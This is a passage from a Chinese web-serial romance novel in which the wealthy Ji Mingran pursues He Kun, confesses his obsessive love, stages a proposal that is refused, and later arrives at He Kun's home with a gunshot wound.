纪明冉以为是醉意下的幻觉,也为自己过于在意贺琨而感到悲哀,于是夹杂着自我厌弃,对着那道虚影说出:“以后离我远些,你很烦”。 第二日酒醒之后,纪明冉的记忆更加模糊,回国的那段时间很忙,转眼间便忘得烟消云散。 所以,重生的贺琨,根本是被自己吓跑的。 青年躲藏了那么多年,安静到纪明冉以为自己已经将往事完全放下。 若不是异国机场的那次意外,被贺琨再次拉入怀中,他又怎知自己沉寂了多年的心,还能不受控制的跃动。 可惜,纪明冉还记得他那时拧巴又矛盾,最终只是轻飘飘地说了句“初次见面,还得谢谢贺二少”。 接下来的故事,那就太熟悉了,整整六年的事件,他早已回忆了千千万万遍。 原来婚礼前那场冬日的大病,宣告着那个曾经鲜活骄傲,爱他如命的贺琨,已经被他纪明冉亲手推入了万劫不复的深渊。 他们似乎隔着时差在相爱,一路充满误会与伤痕。 纪明冉缓缓地靠向椅背,椅背冰冷地贴着他僵直的脊梁,那平静落在辛晓源眼中,比任何歇斯底里的崩溃都更可怕。 只见纪明冉嘴角艰难地牵起一丝极其细微的弧度,那笑容里没有温度,“谢谢你告诉我这些。” 纪明冉的声音恢复了惯常的平稳,甚至带上了一丝奇异的温和,他站起身,高大的身影在餐桌旁投下一道沉沉的阴影,笼罩着对面有些不知所措的辛晓源。 “抱歉,我忽然想起还有些重要的事要处理。”纪明冉微微颔首,礼节完美无缺,如同最精密的机器,“失陪了。” 他转身离开,步伐稳定,背影挺直如松,依旧是那个掌控着庞大商业帝国的、无懈可击的纪明冉。 只有纪明冉自己知道,那些真相正如无形的鞭子,在他早已血肉模糊的灵魂上,进行着迟来的凌迟。 辛晓源还呆愣的坐在座位上,他不知道当年到底发生了什么,但唯有一件事不可改变,他垂眸倔强地想,他是不会放弃的。 对面的椅子被再次拉开,这次进来的人是位黑衣的男人。 辛晓源记得他,是刚才出现在学校里,收拾赵天穹的人,应该是纪先生的保镖。 来人没有废话,坐下后直接道:“辛先生,为了感谢你的配合,纪先生给您提供了一套市区的房子,就在您的大学旁边。” “???” 辛晓源闻言,直接瞪大了眼睛,他们学校附近的住宅区很少,唯一的那处,房价十分高昂,别说买了,光是租金都足够缴纳一年的学费。 “不,我不需要,这太贵重了。”辛晓源的直觉告诉他,如果他接受了纪明冉先生给出的好处,那么他和琨哥就是真的再也没有希望了。 肃江听着辛晓源的回答,感叹先生真是料事如神,他按照先生的交代继续道:“这房子并不是赠与你的,只是纪先生一处闲置的房产罢了,你想住多久就住多久,一天也行,一辈子也行,费用全免,不必太有负担,只是感谢而已。” “包括你投递的实习请求也已经通过了,纪氏欢迎您这样的人才加入。” 肃江做过背调,辛晓源在所学领域的成绩是非常优异的,不然也不可能从偏远的地区走到国际,但是能进入纪氏的只能佼佼者中的佼佼者,没有人敢打保票。 所以,纪先生给出的条件,对于辛晓源来说无疑是当下最贴心的。 令人厌烦的前男友已经不会再出现了,接下来只需把住所和工作两个问题解决,那么当下所有困难都将迎刃而解。 这很难令人拒绝。 第67章 第六十七章偷听告白(二更)辛晓源…… 辛晓源久久没说话,只觉得整个世界突然变得太疯狂了,金钱权力的特权一遍遍冲击着他的心灵。 而肃江不等辛晓源反应,直接将房屋地址传送到辛晓源手机上,“辛先生,晚餐已经买单了,您请随意。” 说罢,肃江起身离开,可还没走两步,便听见辛晓源大声道:“我不会放弃的,我要和纪明冉公平竞争!” 肃江压下门柄,离开时转身点头微笑,随后礼貌离开。 房间内,只剩辛晓源一人独自坐在餐桌前,情绪复杂而激荡。 虽然纪先生已经离开了很久,可是压迫感却愈演愈烈,辛晓源不再犹豫,他收拾好自己的东西,直接坐车回小镇去,他要去找贺琨。 晚上,贺琨刚从店里回来,就看见辛晓源心神不宁地在院子里等他。 还没来得及问出口,就被晓源带来了小镇这家熟悉的餐厅。 “怎么?是今天不顺利吗?”贺琨看着餐桌前,是晓源主动点的两杯度数比较高的调酒。 辛晓源勉强的笑着摇摇头,“没有什么事,如果非要说的话,也是件好事。”毕竟他那讨厌的前男友这次应该再也不会出现了。 贺琨挑挑眉头,既然晓源不想说,那么他也不会多问。 “琨哥,就是今天纪先生来找过你吗?”辛晓源问得很纠结。 贺琨重视起来,“没,他去找你了?” 辛晓源没有说实话,垂头心虚道:“嗯,就是在市区偶遇了。” “说实话,晓源。”贺琨看着晓源的情绪就知道不对劲,“交给我来处理,他这个人性格深沉、手段果决,不能按照寻常的思路对待。” 贺琨说完微微愣住,总觉得句式熟悉,好像是哥哥很久之前就这么提醒过他,贺琨眼神中划过一丝不易觉察的思念。 想那时,说什么也不肯离开纪明冉,到如今这话竟也从他口中说出。 “今天我被学弟骗回了学校,纪先生他及时出现救了我,还帮我处理了前男友。”辛晓源决定实话实说。 “他既然处理了,以后赵天穹肯定不会再出现了。”纪明冉出手的利落无情,贺琨对此向来毫不怀疑。 “后面,纪先生又请我去吃晚餐,得知你生病的事,他好像情绪有些不对劲。” 这件事并不算秘密,贺琨更是毫不在意,至于纪明冉想什么,那则是纪明冉自己的事情。 辛晓源继续道:“他离开后,一位保镖先生又来告知我,我投递的申请通过了,并且纪先生还在学校旁边给我准备了住所,说是表示感谢。” 纪明冉既然做了,定然不怕被人知晓,贺琨看出了辛晓源的为难,想了想道:“他应该很快会来找我,等那之后再做决定不迟。” 解决了心头大患,辛晓源点点头,本就是脸上藏不住事的年纪,坦白后反而轻松了很多。 终于有空想起接下来要做的事,他脸颊两侧又染上绯红,心口扑扑跳跃,手脚也软了下来。 饭后,两人散着步回家。 辛晓源已经有些醺醺然,飘着步伐,只知道亦步亦趋地跟着贺琨。 他已经忐忑了一整顿饭的时间,还是没能将心中的话说出。 此时,一阵夜风轻柔拂过,贺琨额前的碎发被撩起,月光柔和了他的冷峻,反倒将那对黑茶色的瞳孔映照得如同晚星般璀璨。 辛晓源站在侧后边,一时竟忘记了呼吸,喃喃道:“琨哥” 贺琨停下脚步,现在的氛围其实有些不对劲,或者说今晚的辛晓源的状态都有些不对劲。他站在原地左右张望,结果还是没有可以搭乘回家的车。 “晓源,你醉了。” “不,我没有,”贺琨不说还好,提起来反而彻底激发了辛晓源心中那点点叛逆,他立正在风中,近乎虔诚,“琨哥,我喜欢你,我们可以在一起吗?” “晓源,抱歉。” 贺琨略带歉意的拒绝,没有附加任何解释,因此也没有留下任何转圜的余地。 辛晓源的笑容僵在脸上,他永远记得自己绝望地站在冰冷的江水边,如墨黑的江水翻涌,呼啸着要江他吞没。 他以为那无尽的寒凉将是自己最终的归宿,却没想在纵身一跃的瞬间落入的却是一片温热的怀抱。 其实早在纪先生说出那些往事时,辛晓源就觉得自己不会成功,之所以开口,只是不想留下遗憾,也是为自己这场无疾而终的暗恋画上句号,仅此而已。 辛晓源再次笑起来,眼眶中泪花闪烁,嘴角的笑容却更加灿烂,“嗯嗯,我知道了,谢谢琨哥这段时间的照顾!” 贺琨看着辛晓源缓缓鞠躬感谢,随后决绝地转身往另外一个方向走去,他担忧地皱了皱眉,却依旧没有挽留。 因为这时的温柔,对于辛晓源来说可能更残忍。 贺琨的家靠近小镇边缘,越走越人烟稀少,他担心辛晓源做傻事,加之纪明冉的事也萦绕在他心间,不知不觉间出了神,甚至没有听见身后若有似无的脚步声。 夜色朦胧,纪明冉静默陪着贺琨走了很久,没有出声或上前,只是遥遥看着那抹背影,便足以平复他内心的恐慌。 这时,马路边突然飞驰而过几辆机车,将贺琨身旁未干的泥水接二连三地溅起,纪明冉没有多想立马上前,将人完全揽入了怀中。 “小心,阿琨。”湿粘的感觉从单薄的衣物传来,平时洁癖严重的纪明冉反而因为怀抱里传来的充实感,变得满足欢愉。 贺琨听见熟悉的声音在耳边响起,目光突然颤了颤,他倚在纪明冉怀中,可身体比他更熟悉这个怀抱,短短几秒便找到了更舒服的角度。 他赶忙推开纪明冉,转身往前走。 “阿琨,你不问问我今天做了什么吗?”纪明冉温和的声音从身后传来。 贺琨步伐变快,心中更加烦躁。 纪明冉既然能问出这个问题,自然是想到了晓源会将事情一五一十的告诉自己,难道还要他去夸赞“是,你纪明冉凡事都算得好准”吗? 贺琨刚迈出几步,又突然停住脚步,“你不要对辛晓源——” 话音戛然而止,两人的距离本就因为贺琨突然停下的脚步拉近,又因为青年猛地转身,动作的惯性使得他更靠近纪明冉。 距离瞬间缩至咫尺,贺琨瞳孔微缩,比刚才更加清晰地闻到纪明冉身上昂贵冷木香,以及香烟余烬中压抑沉重的气息。 纪明冉心口猛然一跳,双手下意识地想抱住怀中人,可是又怕自己失控,于是不尴不尬地僵在身侧。 他垂眸看着贺琨,那双深邃的眼睛在朦胧夜色里亮得惊人,像两簇幽然跃动的鬼火。 清晰地映出贺琨眼中瞬间掠过的惊愕和来不及完全收敛的烦躁。 “不要对他怎样?”纪明冉的声音响起,低沉平缓,尾音却带着一丝不易察觉的占有欲。 他不仅没有后退,反而微微低下头,两人鼻尖几乎相触,气息无可避免地纠缠在一起。 纪明冉的呼吸很轻,却带着一种灼人的热度,拂过贺琨的额发。 贺琨的心跳猛地漏了一拍,被那过于迫近的气息逼得下意识想后退,但又堵着一口气,不愿示弱。 他强行压下心头的烦乱,眼神骤然冷硬,按住纪明冉的肩头将人大力推开。 “纪明冉,别装糊涂,你今晚找他吃饭想做什么?警告他?威胁他?我告诉你,辛晓源只是一个需要帮助的普通学生,你敢动他一下……” “阿琨。”纪明冉打断他,声音依旧不高,却带着让人安静的力量。 他抬起手,近乎试探地想要拂开贺琨额前,因为汗意黏在眉骨的碎发。 贺琨猛地偏头躲开,动作带着毫不掩饰的抗拒,“别碰我。” 纪明冉悬在半空的手指几不可察地蜷缩了一下,随即缓缓放下,再次垂在身侧。 他凝视着贺琨眼底那片怒海,薄唇抿成一条冷硬的直线,沉默了几秒,软声软气地开口: “我已经派肃江送他回市区了,最好的酒店,你随时可以打电话给他。” 纪明冉顿了顿,目光掠过贺琨紧绷的下颌线,像是在确认青年的情绪,直到空气中紧张感散去,他才再次开口。 “阿琨,其实刚才辛晓源向你告白时,我就在了。” 第68章 第六十八章坦白心意(三更)贺琨好…… 贺琨好不容易平复的心情,再次被纪明冉的一句话彻底搅乱了,不仅是恼羞成怒,更有一种被监视的恐惧感。 “纪明冉你都三四十岁的人了,你要不要脸!” 纪明冉突然被年龄焦虑了一下,觉得被贺琨气得口不择言的模样实在可爱。 “阿琨,我不是圣人,你太受欢迎了,我难道不可以紧张,不可以害怕吗?” “管你什么事?纪明冉,我们两个早就没有关系了。”贺琨转身离开。 可身后的男人再次跟上,“阿琨你知道不知道,看见辛晓源向你告白的时候,我只想将你——” 纪明冉的声音陡然沉了下去,如同平静海面下的暗流,裹挟着某种压抑到极致的占有欲。 他没能说完的话足以贺琨的理智彻底击碎。 路灯昏黄的光线斜切下来,照亮了贺琨的神情,里面满是被冒犯的惊怒,他脚步猛地顿住,再次猝然转身! “将我怎样?纪明冉,收起你那变态的想法,我不是你的所有物!”夜风卷起他额前微湿的碎发,露出光洁的额头和紧蹙的眉宇。 纪明冉非但没有被这激烈的言辞逼退,反而向前踏了一步,他高大的身影投下的阴影,如同密不透风的牢笼,将贺琨完全笼罩其中。 “你说得对,我恶心,我卑劣,我像个变态一样始终不肯放过你。”他声音中满是自嘲,眸中翻涌着几近绝望的偏执。 “可这六年,这两千多个日夜,我每分每秒都在想你是不是还活着,是不是在某个我不知道的地方受苦,是不是…恨透了我,或者早就忘了我。如果不这样,阿琨,你告诉我,我该怎么活?” 他猛地拉起贺琨的手,按在了自己的心脏位置,用力到几乎要将那阵阵抽痛的部位剖出来才好。 纪明冉苦笑着,却依旧笃定地蛊惑道:“辛晓源给不了你幸福,阿琨,你想要的幸福,只有我,唯有我才能给你啊。” 贺琨因纪明冉激烈言辞而微微睁大眼睛,一时之间忘记该作何反应。 他从来没有见过纪明冉如此失态的模样,这个男人好像永远都是绝对优雅的,何曾像这般在干涸地卑微地乞讨着爱意。 纪明冉却没有因此放过贺琨,他近乎哀求地低语着,“我还能怎么办?阿琨你教教我我还能怎么办才能不让你消失?才能不让你再一次…在我不知道的地方…独自…等死?” 贺琨的身体猛地一颤,如同被重锤狠狠击中灵魂,纪明冉话语里那份几乎化为实质的绝望和恐惧,瞬间淹没了他所有的愤怒。 他看着纪明冉眼中那片足以焚毁一切,却也脆弱得不堪一击的痛苦,指责卡在喉咙里,再也吐不出半个字,张了张嘴,却只发出一声如同叹息般的抽气。 就在贺琨防线动摇的刹那,却被纪明冉狠狠地拽进怀中。 “唔!”贺琨猝不及防,鼻尖重重撞上纪明冉冰冷而坚硬的胸膛,发出一声短促的闷哼。 纪明冉这次没有犹豫,死死地箍住贺琨的身体,力道大得惊人,仿佛要将他整个人嵌入自己的骨血之中。 “放开我!纪明冉!”贺琨瞬间惊醒,剧烈的挣扎起来,试图挣脱这令人窒息的桎梏。 “不。”纪明冉破碎的声音从头顶传来,带着玉石俱焚的狠绝,每一个字都伴随着他胸腔震动,敲打着贺琨的耳膜,“我都知道了,阿琨,我都知道了对不起。” 贺琨微微偏头,短暂疑惑之后是无尽的沉默,所有的挣扎在这一刻,如同被按下了暂停键。 “你是不是很久很久以前就生病了,宝宝?”纪明冉语气中满是心疼怜惜,未曾察觉自己已经唤出了最亲昵的称呼。 贺琨僵在纪明冉的怀抱里,身体紧绷得像一块木板,心防却瞬间崩塌。 滚烫的液体毫无预兆地落下,如断了线的珠子,沉重地砸落在纪明冉的颈窝,带着灼人的温度,几乎要烙印在皮肤上。 纪明冉心疼得无以复加,原以为贺琨的厌恶早已将他的心磋磨碎了,不会再痛了,直到青年无声地埋在他肩头哭泣时,纪明冉才明白,原来爱人的眼泪才是最毒的毒药。 “对不起,对不起,还记得你19岁那年吗?宴会你来找我,都怪我喝醉了,我怎么舍得不要你。”纪明冉声音又轻又柔,慢慢摩挲着贺琨的后背,爱意深不可测。 “还有我们在高架上的相遇,那枚袖扣就是留给你的,是我喜欢你,是我太笨了,一直没看见你。” 贺琨睫毛沾湿,他微微蹙眉,有些不对劲但说不上来,可就是在纪明冉这些话语中,那个在黑暗里躲躲藏藏很多年的小贺琨似乎终于找到了他的光亮。 “游轮那夜也不是意外,迷药是我松了警备,让肃江放人进来的,因为我忍不住想要你。” 贺琨:*“?” 所以,要不是那个药,他原本是有机会攻了纪明冉的? 纪明冉的手臂收得更紧,下巴重重地抵在怀中人的发顶,灼热的呼吸喷在青年敏感的耳廓和颈侧,将贺琨的注意力再次拉回。 “无论哪一世,我从来就没有停止为你心动,贺琨。” 贺琨被纪明冉用尽全身力气禁锢在怀中,垂在身侧的手,最终指尖几不可察地颤动了一下。 纪明冉趁机将情绪剧烈起伏后迷迷糊糊的贺琨背起来,缓缓往家的地方前进。 他一句又一句地说着,两人错过的那些年,将迷失在那些时光里的贺琨霸道地拉回了自己身边。 夜风穿过寂静的街道,卷起几片落叶。 昏黄的路灯下,两道纠缠的身影投射在地面上,拉得很长很长。 等将贺琨放在柔软的大床上时,已经是半个小时以后了,纪明冉放得很小心,但贺琨还是惊得睁开了双眼,黝黑的眸子里满是空洞茫然。 纪明冉看在眼底,心疼极了,低声哄了好一会,直到疲惫的青年沉沉睡去,才小心翼翼地关灯离开。 —— 晨光灿烂,在窗帘上照出金色的光斑,贺琨再次醒来时,感觉自己睡了很沉很沉的一觉,整个人都变得格外放松。 他刚起身准备洗漱,昨夜混乱的记忆突然如潮水般涌来,裹挟着纪明冉令人心悸的偏执,卑微至极忏悔,和那自己那说来就来的丢人泪水。 太阳穴突突地跳,像有把小锤子在敲,他烦躁地揉着额角,试图将那些混乱的画面驱逐出去,却突然被门外克制的敲门声拉回现实。 贺琨简直是一个头两个大,不用想也知道,门外的人十有八九是纪明冉。 他深吸一口气,带着一种近乎自虐的冷静,猛地拉开了房门。 纪明冉果然站在门外。 晨曦的光线勾勒着他挺拔的身影,穿着件不知道哪来的昂贵丝质衬衫,熨帖得一丝不苟。 领口解开两颗扣子,露出一截冷白的脖颈,显得不那么严肃,而是多了几分居家的休闲。 他手里端着一个白瓷杯,袅袅的热气带着清甜的蜂蜜香。 “早。” 纪明冉的声音低沉,带着一丝不易察觉的沙哑,目光贪婪地扫过贺琨的脸,仿佛在确认昨夜那个在他怀里无声落泪的人是否真的存在过。 他将手中的杯子往前递了递,“喝点蜂蜜水,润润。” 贺琨没有接,他甚至没有看那杯水,视线冰冷地掠过纪明冉的脸,最后定格在他敞开的领口处。 那里,靠近喉结右下方,有一道极其新鲜的暗红色齿痕,在冷白的皮肤上异常刺目。 空气瞬间凝固。 贺琨的眼神闪过慌乱,他不记得昨夜自己咬过纪明冉啊。 再次联想到纪明冉身上这件价值昂贵到不可能属于小镇的衬衫,试探道:“纪总的夜生活,看来很精彩?” 他以为自己很坦然,实则尾音却带着不易察觉的埋怨。 纪明冉端着杯子的手晃了一下,杯中的蜂蜜水漾开细小的涟漪,他顺着贺琨的目光低头,指尖下意识地抚上那道齿痕,目光灼灼地锁住贺琨,有些委屈。 “这道印子,是你留下的。就在昨晚,就在这里,”在贺琨看不见的角度,眸中却闪过狡黠,“你要对我负责的。” 纪明冉向前逼近一步,距离近得贺琨能闻到男人身上还有牛奶吐司的清甜。 他下意识地抿紧了唇,舌尖仿佛真的尝到了一丝若有若无的血腥气。 贺琨半信半疑,经过昨晚的事,他更加觉得纪明冉的话听一半就好。 就在这时,纪明冉放下蜂蜜水,一双温热的手掌将他的眼睛遮住,贺琨心中有些不好的预感,“你要做什么?” 纪明冉在他耳畔轻笑,但却没有说话,“阿琨,可以期待一下。” 贺琨在黑暗中蹙眉,心底那点狐疑和莫名的焦躁交织翻涌,他能感觉到纪明冉带着他,极其缓慢地转了个方向,脚步声在寂静的房间里显得格外清晰,最终停下。 “好了。”纪明冉的声音带着近乎屏息的郑重,覆在贺琨眼上的手,终于缓缓移开。 光线涌入瞳孔的瞬间,贺琨下意识地眯了眯眼。 第69章 第六十九章求婚被拒大理石餐桌上娇…… 大理石餐桌上娇艳欲滴的红玫瑰精心插瓶,无论是天花板上的吊灯,还是窗帘的材质颜色,甚至摆件装饰,都原封不动地重现了上一世周年纪念日,纪明冉提出分手那天的场景。 短短一夜之间,贺琨不知道纪明冉是如何做到的,他至起码站在原地愣了有半分钟,期间根本不知如何反应。 那天是他与纪明冉之间的最后一面,那个地方也因此成为困住贺琨余生的囚笼。 而现在却被复刻出来,重现在眼前,心底隐约的不安悠然而生,贺琨几乎是本能地抗拒走入这间房间,他微不可察地退了半步,却落入了身后之人的怀中。 纪明冉抬手扶在贺琨身侧,低头温柔耳语道:“没事的,这一次我在。” 贺琨皱眉,他回头看向纪明冉,尽管语气维持着平稳,眼神中却带着几分脆弱,“你想做什么?” 纪明冉没有再次贺琨语气中的不耐烦,反而在看穿贺琨的焦虑后,轻柔地揉了揉贺琨的发尾。 倏尔不容拒绝地将人抱起,大步跨进了派人连夜打造的地方。 进入房间后,他原本是打算按照那晚的记忆,坐到餐桌对面去,可是怀中的人却正微微发抖,纪明冉有些心疼,索性抱着贺琨直接坐下了。 “别怕,看,什么都没有发生,只是我和你。” 贺琨没有听进去,他想起身离开,刚站起就被纪明冉拉住了手臂。 “阿琨,既然一切是从这里被彻底打乱,那就在这里重新开始,好不好?” 纪明冉没有等贺琨回答便单膝下跪,突兀地拿出了一个黑丝戒指盒,拨开精致的锁扣后,满含爱意道:“阿琨你要知道,我们天生就属于彼此。” 那双眼中的笃定痴狂到令人快要窒息。 贺琨知道这是什么感觉,但却是曾经,他觉得纪明冉想得过于简单,于是掠过那到灼热的视线,转而投向了那枚戒指。 他瞬间呼吸微窒,一眼便知这是纪明冉还是那位珠宝设计师时,为两人设计的婚戒,但直至纪明冉去世前,也只是停留在稿纸上的概念图。 贺琨怎么也没想到,自己竟有一日还能亲眼看见实物。 那枚只在梦中出现过的戒指安静地待在那,随之而来的情绪不是狂喜,最后附在心间的什么东西忽而散去,像是高悬的凉月化为一汪清泉哗地流落过心间。 贺琨弯腰搭上纪明冉的手背,将那枚戒指盒合上,随着轻盈的咔嗒一声,银色的戒圈被封入了无尽的黑暗。 “不,纪明冉,那只是一种习惯,人总要向前,很多事我已经忘了,现在轮到你了。” 话毕,贺琨没有再去关注纪明冉的反应,只是礼貌地笑笑,看了看时间道:“我该去上班了,你不在的这段时间,纪氏应该也很忙,回去吧,纪先生。” —— 这一次,生活真的恢复了平静。 那晚贺琨回家后,所有关于纪明冉的痕迹都消失了,包括那间被改造的房间也恢复了原样。 至于辛晓源,进入了纪氏实习后,生活节奏也逐渐忙碌了起来,现在只是偶尔才会来看贺琨一次,能看出整个人开始慢慢地摆脱了心理阴影,也算是纪明冉做的好事吧,贺琨很客观。 “哎呀哎呀,赛事马上结束了,接下来去哪里赚钱呢?”卢卡叔坐在修理间的沙发上,最近几日赚得盆满钵满,他正在清点自己的利润,“要是有谁能来帮我翻修一下老房子就好了。” 贺琨拿起湿巾帕擦了擦手上的机油,调侃道:“那恐怕比中彩票还难了,卢卡叔您还不如指望哪位有钱人路过大发慈悲。” 卢卡叔扫过正在播放新闻的屏幕,随口接道:“我看这位姓纪的年轻老板就不错,很有实力。” 贺琨听见那个字,都没有抬头,他站起来,同情地拍拍卢卡叔壮实的肩膀,走进了更衣室准备下班,语气之中满是惋惜。 “卢卡叔,趁早换个人吧,我猜,这位可不会路过。” “哼。”卢卡故意发出一道冷哼,见贺琨进入更衣室,又笑着低头继续算账。 傍晚,贺琨先回了家。 最近几日因为两年一度的赛事,人流量比寻常大,夜里也留人看店,今天轮到的是卢卡叔。 等这几日忙碌的时间过去,贺琨便决定和卢卡叔告别,离开小镇。 说实话在这已经呆了很多年,除了躲避纪明冉,他也把这当成了半个家,房子是肯定不会卖的,不过现在想离开此地,也是有原因的。 其一,是为了躲避纪清嵩的视线,毕竟贺琨虽然和纪明冉说清了,但纪清嵩怕是不会轻易放过他这么趁手的工具人。 其二,因为贺琨真的很想他哥,前几日刚和哥恢复联系,贺青峰便计划出国来找他。但是贺琨拒绝了,毕竟不知道宋揽现在是什么状态,他哥来这里实在是太不安全了。 当年住进这个小镇,便是宋揽安排的,而且在纪明冉疯狂的搜寻中,严严实实地护了贺琨六年。 保险起见还是贺琨回国,至于接下来的计划,等见到贺青峰再说。 他在脑海中敲定了主意的同时便也到了家,刚将车停进院子里,取下头盔转身,就看见自家门前半躺着一个影影绰绰的人形。 贺琨心中警铃大响,他迅速环视周围,并未发现什么异常,于是取出车上常备的手枪,缓缓前进。 门前的人始终一动不动,贺琨戒心不减,“你是谁?” 没有回应,空气异常沉默。 贺琨无奈低头,这才发现草丛中满是暗红的血迹,顺着楼梯而上,最终停在了那人身前。 此时,正巧一阵风吹过,门前的廊灯晃了晃,借着微弱的灯光,他终于分辨出了那道人影,竟是纪明冉? 他在这里干什么?又遇到了什么?还有这些血迹是什么情况? 贺琨顾不得多想,立马上前开门,将人拖进了屋内,整个过程没有半分拖泥带水。 浓重的血腥味扑面而来,萦绕在贺琨的鼻腔,他顾不上满手沾染的粘腻温热,用肩膀狠狠将门撞合。 玄关顶灯自动感应打开,光线将眼前景象照得触目惊心。 纪明冉半靠在墙壁上,深灰色衬衫早已被暗沉的血迹浸透了大半,他双目紧闭,脸色惨白,嘴唇呈现出失血的青紫色,连呼吸都微弱得几乎无法察觉。 心瞬间沉到了谷底,贺琨强迫自己冷静下来,迅速扫过纪明冉全身,血迹主要集中在腰腹右侧。 他动作迅捷地解开纪明冉沾满血污衬衫纽扣,即使早有心理准备,指尖还是微微一颤出卖了情绪。 是枪伤。 “纪明冉,纪明冉!醒醒——”贺琨的声音带着不易察觉的颤抖,他起身跑进屋内,拿着绷带再次半跪到纪明冉身侧,在男人的腰腹间快速缠绕打结。 包扎完后,贺琨不敢有丝毫松懈,又摸出裤袋里的手机,准备拨打急救电话,可指尖却因为沾染了粘稠的血迹而在光滑的屏幕上打滑,他胡乱地在裤子上蹭了蹭,赶忙划开屏幕。 电话挂断后便是漫长的等待,贺琨看着怀中的人,一遍一遍呼唤着,直至有些空茫,却还是唤着,什么都说。 “…阿琨?” 可能贺琨的努力被听见了,怀中终于传来微小的声音,轻得如同叹息。 纪明冉听见耳边熟悉的声音,忍耐着腰腹间传来剧烈的痛感睁开双眼,可惜视线模糊不清,唯看得出眼前人模糊的轮廓。 似乎心有所感般,贺琨猛然抬眸,对上的却是纪明冉失焦的眼神,恐慌瞬间袭来,将他拉回现实,“纪明冉?你醒了,别睡!救护车很快就到了!” 贺琨还在着急着,脸颊上突然传来血腥味的湿黏触感,他眸光微颤,忘记了要说的话。 眼眶也在微微发热,真是欠了纪明冉的,为什么连死都要跑到他门口。 贺琨躲开纪明冉的手,想了想又怕给人气昏迷了,只好僵硬地将那手按回自己的脸侧,低声怒颤道:“混蛋,要死别死我家了,纪明冉,呸,你真晦气。” 纪明冉听见了,他扯了扯嘴角,苍白的脸色丝毫没有影响这人的美感,笑容间反倒多了几分破碎感。 “别哭,担担心你才来的。” 贺琨听完更难受了,又说不上是哪种难受,总之哪哪都不对劲,于是苦涩道:“不准死,纪明冉。” 终于,急促的救护车鸣笛声出现,由远及近,直到将人送进手术室,贺琨的心才慢慢平静下来。 翌日,贺琨杵着脑袋半梦半醒间,被开门声惊醒,他睁开眼,来人竟是多年未见的肃山,看起来风尘仆仆,应该从国内马不停蹄赶过来的。 “贺先生,实在是麻烦您了。”肃山礼貌微笑,还是当年那一板一眼的模样,扫过贺琨满是血迹的衣服后,“您需要回家休息吗?如果纪先生醒了,我再告知您过来。” 肃山办事向来靠谱稳妥,贺琨见人来了,那应该没自己什么事了,他回头看看依旧在昏睡中的纪明冉,“好,没事,不用告诉我。” 贺琨刚想起身,结果发现纪明冉不知何时死死拽住了他的衣袖,竟在惯性下将他再次扯回了座位上。 小贺先生此言一出,肃山焦虑了。 这些年,自打小贺先生失踪后,他可是把纪先生近乎癫狂的所作所为全看在了眼里。 今天就算肃山自己转头坐飞机回国内,小贺先生也不能消失。 看着贺琨被拽住的衣袖,肃山由衷感叹纪先生执着的同时,还感叹道真是天助他也。 “小贺先生,您看?”肃山的眼神在两人接触的地方停留几秒,随后道,“不如我先去给您拿几套换洗的衣服,等纪先生的状态清醒些,您再离开?” 贺琨冷脸道:“你把衣服脱给我。” 肃山闻言,低头看了看自己,想到要裸着上半身在这坐到肃江过来,他就浑身抗拒,不行,绝对不行,“这不太合适吧?” 贺琨低头掰起纪明冉的手指,结果纹丝不动,他无奈地扶了扶额角,转而问道:“昨晚到底发生了什么?” 第70章 第七十章惊世骇俗贺琨主动转移了话…… 贺琨主动转移了话题,肃山喜闻乐见,于是主动回答道:“纪先生这段时间一直没有回国,昨晚我接到肃江紧急的消息,说他们中了纪清嵩的计谋。人手差距过大,无奈之下肃江只好带队拦截,先掩护纪先生撤离,纪先生的伤应该就是那时受的。” 没有回国?贺琨有些不解,但是没有寻问。 不过,纪清嵩已经开始出手了,接下来定不会轻易地善罢甘休,本来还打算等赛事过去再离开此地,现在看来如果再拖延下去,恐怕会给身边之人带来危险。 “等纪明冉情况稳定些便办理转院吧。” 转进市区里也方便纪明冉治疗,毕竟小镇的医疗水平受限,而且他也必须尽快搬走,避免给小镇带来麻烦。 “好的,我已经安排处理了,如果条件允许的话,明天就可以撤离。” 贺琨点头表示了解,随后拿出手机开始编辑消息,他必须给卢卡叔说一下,这么多年的相处,对于这位亦师亦友的长辈,贺琨很是感激,他得确保自己走后,卢卡依旧安全,直到危机解决。 肃山则是默默离开房间,现在纪先生昏迷不醒,还有很多事宜需要紧急处理。 午后,明艳的阳光从窗台照进房间,暖光中金尘翩跹,床头柜上的玻璃杯正倒映这窗外摇晃的绿枝,病房内一片宁静美好。 凉风拂面,昏迷中的纪明冉似有所感,微微蜷了蜷手指,可下一秒如同回想起什么,他猛然睁开了双眼,直到扫见贺琨依旧靠在床边,才渐渐放松了身体。 青年正爬在他手侧打盹,额前碎发被阳光染成浅棕,睫毛随呼吸轻轻扇动,披着的外套已经滑到腰际。 纪明冉悬着的心终于稳稳地放下来,他抬手拉起外套,却在回想起纪清嵩时,掠过浓烈的不愉。 绵长的呼吸扑撒在手背,纪明冉回神柔声道:“阿琨,上来睡。” 说罢,他撑起身体,想把爬着睡觉的贺琨捞上床来,结果因为牵扯到伤口,动作有些滞涩。 光线因为纪明冉的动作被遮去,本来也没有睡得很熟的贺琨眼皮动了动,揉着酸涩的眼睛抬起头,因为睡眠不佳,眼底还带着微红。 贺琨有些疑惑,怎么纪明冉都醒了,肃山还没有把他换洗的衣服送来,“你醒了?有没有感觉哪里不舒服?” “没有,都很好,昨天晚上麻烦你了。” 明明都中枪了还说很好,纪明冉那痴痴的眼神,看得彷佛他才是什么神仙妙药似的,贺琨选择性忽略,“肃山待会就会过来,我就先回去了。” 贺琨话毕起身,结果发现衣袖还是被纪明冉紧拽着,他先是看了看自己的袖口,然后抬头疑惑地看向纪明冉,“?” 纪明冉歉意地笑笑,贺琨回以礼貌假笑,结果衣袖还是丝毫不动。 “有事?” “没事。” 贺琨看着纪明冉眼尾微垂的细节,就知道这人又打算耍心眼了,“那就松手。” “你回去不安全。”纪明冉说的是实话,但是也有想把贺琨留住的私心,“在我身边待一段时间好不好?等我把纪清嵩处理了,你想去哪里都随你,好不好?” “阿琨,你是我唯一的‘软弱’,你不能出事。” 纪明冉就是在装可怜,赌定了贺琨吃这套,可是纪明冉越这样,他心里越赌,那股气横在胸前不上不下。 就像昨晚,纪明冉明明都已经自顾不暇,还要跑来确定他是不是安全的。 若是昨夜他刚好值班没有回家呢?纪明冉会不会因为失血过多而死亡。 贺琨不敢想象,要是自己没回家,等待他的又是一具冰冷的尸体。 他甩开纪明冉的手,带上了发气的意味。 “嘶——”纪明冉冷抽。 贺琨以为自己弄到了纪明冉的伤口,连忙回头揭开被子查看。不至于啊,他明明收着力道的,不可能会震到纪明冉的腰腹。 